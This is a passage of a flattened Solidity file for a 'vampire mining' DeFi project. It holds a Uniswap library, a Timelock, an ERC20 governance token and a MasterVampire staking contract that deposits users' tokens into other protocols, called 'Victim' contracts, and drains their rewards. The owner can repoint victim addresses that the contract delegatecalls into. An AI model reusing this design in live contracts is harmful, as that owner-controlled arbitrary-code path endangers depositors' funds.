pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts\libraries\UniswapV2Library.sol library UniswapV2Library { using SafeMathUniswap for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File: contracts\Timelock.sol contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 24 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint _value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, _value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:_value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, _value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // File: contracts\VampireAdapter.sol contract Victim{} library VampireAdapter { // Victim info function rewardToken(Victim victim) external view returns (IERC20) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToken()")); require(success, "rewardToken() staticcall failed."); return abi.decode(result, (IERC20)); } function poolCount(Victim victim) external view returns (uint256) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolCount()")); require(success, "poolCount() staticcall failed."); return abi.decode(result, (uint256)); } function sellableRewardAmount(Victim victim) external view returns (uint256) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("sellableRewardAmount()")); require(success, "sellableRewardAmount() staticcall failed."); return abi.decode(result, (uint256)); } // Victim actions function sellRewardForWeth(Victim victim, uint256 rewardAmount, address to) external returns(uint256) { (bool success, bytes memory result) = address(victim).delegatecall(abi.encodeWithSignature("sellRewardForWeth(address,uint256,address)", address(victim), rewardAmount, to)); require(success, "sellRewardForWeth(uint256 rewardAmount, address to) delegatecall failed."); return abi.decode(result, (uint256)); } // Pool info function lockableToken(Victim victim, uint256 poolId) external view returns (IERC20) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockableToken(uint256)", poolId)); require(success, "lockableToken(uint256 poolId) staticcall failed."); return abi.decode(result, (IERC20)); } function lockedAmount(Victim victim, uint256 poolId) external view returns (uint256) { // note the impersonation (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockedAmount(address,uint256)", address(this), poolId)); require(success, "lockedAmount(uint256 poolId) staticcall failed."); return abi.decode(result, (uint256)); } // Pool actions function deposit(Victim victim, uint256 poolId, uint256 amount) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("deposit(address,uint256,uint256)", address(victim), poolId, amount)); require(success, "deposit(uint256 poolId, uint256 amount) delegatecall failed."); } function withdraw(Victim victim, uint256 poolId, uint256 amount) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("withdraw(address,uint256,uint256)", address(victim), poolId, amount)); require(success, "withdraw(uint256 poolId, uint256 amount) delegatecall failed."); } function claimReward(Victim victim, uint256 poolId) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("claimReward(address,uint256)", address(victim), poolId)); require(success, "claimReward(uint256 poolId) delegatecall failed."); } function emergencyWithdraw(Victim victim, uint256 poolId) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("emergencyWithdraw(address,uint256)", address(victim), poolId)); require(success, "emergencyWithdraw(uint256 poolId) delegatecall failed."); } // Service methods function poolAddress(Victim victim, uint256 poolId) external view returns (address) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolAddress(uint256)", poolId)); require(success, "poolAddress(uint256 poolId) staticcall failed."); return abi.decode(result, (address)); } function rewardToWethPool(Victim victim) external view returns (address) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToWethPool()")); require(success, "rewardToWethPool() staticcall failed."); return abi.decode(result, (address)); } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts\NerdlingToken.sol contract NerdlingToken is ERC20("Nerdling Token", "NERDLING"), Ownable { using SafeMath for uint256; event Minted(address indexed minter, address indexed receiver, uint mintAmount); event Burned(address indexed burner, uint burnAmount); function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); emit Minted(owner(), _to, _amount); } function burn(uint256 _amount) public { _burn(msg.sender, _amount); emit Burned(msg.sender, _amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override virtual { _moveDelegates(_delegates[from], _delegates[to], amount); } /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "NERDLING::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "NERDLING::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "NERDLING::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "NERDLING::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying NERDLINGs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "NERDLING::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts\MasterVampire.sol contract MasterVampire is Ownable, Timelock { using SafeMath for uint256; using SafeERC20 for IERC20; using VampireAdapter for Victim; struct UserInfo { uint256 amount; uint256 rewardDebt; } struct PoolInfo { Victim victim; uint256 victimPoolId; uint256 rewardPerBlock; uint256 lastRewardBlock; uint256 accNerdlingPerShare; uint256 rewardDrainModifier; uint256 wethDrainModifier; } NerdlingToken public nerdling; IERC20 weth; IUniswapV2Pair nerdlingWethPair; address public drainAddress; address public fundAddress = address(0x289026a9018D5AA8CB05f228dd9460C1229aaf81); address public poolRewardUpdater; address public devAddress; uint256 public constant DEV_FEE = 1; uint256 public constant REWARD_START_BLOCK = 11180000; // Mon Nov 02 2020 09:30:00 PM UTC uint256 public constant DURATION_BLOCK = 174545; // Blocks for 30 days uint256 public constant DAILY_BLOCK = 5818; // 24 * 3600 / 14.85(seconds per block) mapping(uint256 => uint256) private _drainQueue; uint256 poolRewardLimiter; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 private _randomSeed; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); modifier onlyDev() { require(devAddress == _msgSender(), "not dev"); _; } modifier onlyRewardUpdater() { require(poolRewardUpdater == _msgSender(), "not reward updater"); _; } constructor( NerdlingToken _nerdling, address _drainAddress ) Timelock(msg.sender, 24 hours) { poolRewardLimiter = 300 ether; nerdling = _nerdling; drainAddress = _drainAddress; devAddress = msg.sender; weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Factory uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); nerdlingWethPair = IUniswapV2Pair(uniswapFactory.getPair(address(weth), address(nerdling))); } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(Victim _victim, uint256 _victimPoolId, uint256 _rewardPerBlock, uint256 _rewardDrainModifier, uint256 _wethDrainModifier) public onlyOwner { require(_rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high"); poolInfo.push(PoolInfo({ victim: _victim, victimPoolId: _victimPoolId, rewardPerBlock: _rewardPerBlock, rewardDrainModifier: _rewardDrainModifier, wethDrainModifier: _wethDrainModifier, lastRewardBlock: block.number < REWARD_START_BLOCK ? REWARD_START_BLOCK : block.number, accNerdlingPerShare: 0 })); } function updatePoolRewardLimiter(uint256 _poolRewardLimiter) public onlyOwner { poolRewardLimiter = _poolRewardLimiter; } function updateRewardPerBlock(uint256 _pid, uint256 _rewardPerBlock) public onlyRewardUpdater { require(_rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high"); updatePool(_pid); poolInfo[_pid].rewardPerBlock = _rewardPerBlock; } function updateRewardPerBlockMassive(uint256[] memory pids, uint256[] memory rewards) public onlyRewardUpdater { require(pids.length == rewards.length, "-__-"); for (uint i = 0; i < pids.length; i++) { uint256 pid = pids[i]; uint256 rewardPerBlock = rewards[i]; require(rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high"); updatePool(pid); poolInfo[pid].rewardPerBlock = rewardPerBlock; } } function updateVictimInfo(uint256 _pid, address _victim, uint256 _victimPoolId) public onlyOwner { poolInfo[_pid].victim = Victim(_victim); poolInfo[_pid].victimPoolId = _victimPoolId; } function updatePoolDrain(uint256 _pid, uint256 _rewardDrainModifier, uint256 _wethDrainModifier) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; pool.rewardDrainModifier = _rewardDrainModifier; pool.wethDrainModifier = _wethDrainModifier; } function updateDevAddress(address _devAddress) public onlyDev { devAddress = _devAddress; } function updateDrainAddress(address _drainAddress) public onlyOwner { drainAddress = _drainAddress; } function updateRewardUpdaterAddress(address _poolRewardUpdater) public onlyOwner { poolRewardUpdater = _poolRewardUpdater; } function pendingNerdling(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accNerdlingPerShare = pool.accNerdlingPerShare; uint256 lpSupply = _pid == 0 ? nerdlingWethPair.balanceOf(address(this)) : pool.victim.lockedAmount(pool.victimPoolId); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocksToReward = block.number.sub(pool.lastRewardBlock); uint256 nerdlingReward = blocksToReward.mul(pool.rewardPerBlock); accNerdlingPerShare = accNerdlingPerShare.add(nerdlingReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accNerdlingPerShare).div(1e12).sub(user.rewardDebt); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = _pid == 0 ? nerdlingWethPair.balanceOf(address(this)) : pool.victim.lockedAmount(pool.victimPoolId); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 blocksToReward = block.number.sub(pool.lastRewardBlock); uint256 rewardPerBlock = pool.rewardPerBlock; uint256 passedBlock = block.number.sub(REWARD_START_BLOCK); uint256 decreasedRewardPerBlock = rewardPerBlock.mul(DURATION_BLOCK).mul(DURATION_BLOCK).div(DURATION_BLOCK.mul(DURATION_BLOCK).add(passedBlock.mul(passedBlock))); uint256 nerdlingReward = blocksToReward.mul(decreasedRewardPerBlock); nerdling.mint(devAddress, nerdlingReward.mul(DEV_FEE).div(100)); nerdling.mint(address(this), nerdlingReward); pool.accNerdlingPerShare = pool.accNerdlingPerShare.add(nerdlingReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accNerdlingPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeNerdlingTransfer(msg.sender, pending); } } if(_amount > 0) { if(_pid == 0) { IERC20(address(nerdlingWethPair)).safeTransferFrom(address(msg.sender), address(this), _amount); } else { pool.victim.lockableToken(pool.victimPoolId).safeTransferFrom(address(msg.sender), address(this), _amount); pool.victim.deposit(pool.victimPoolId, _amount); } user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accNerdlingPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accNerdlingPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeNerdlingTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); if(_pid == 0) { IERC20(address(nerdlingWethPair)).safeTransfer(address(msg.sender), _amount); } else { pool.victim.withdraw(pool.victimPoolId, _amount); pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), _amount); } } user.rewardDebt = user.amount.mul(pool.accNerdlingPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if(_pid == 0) { 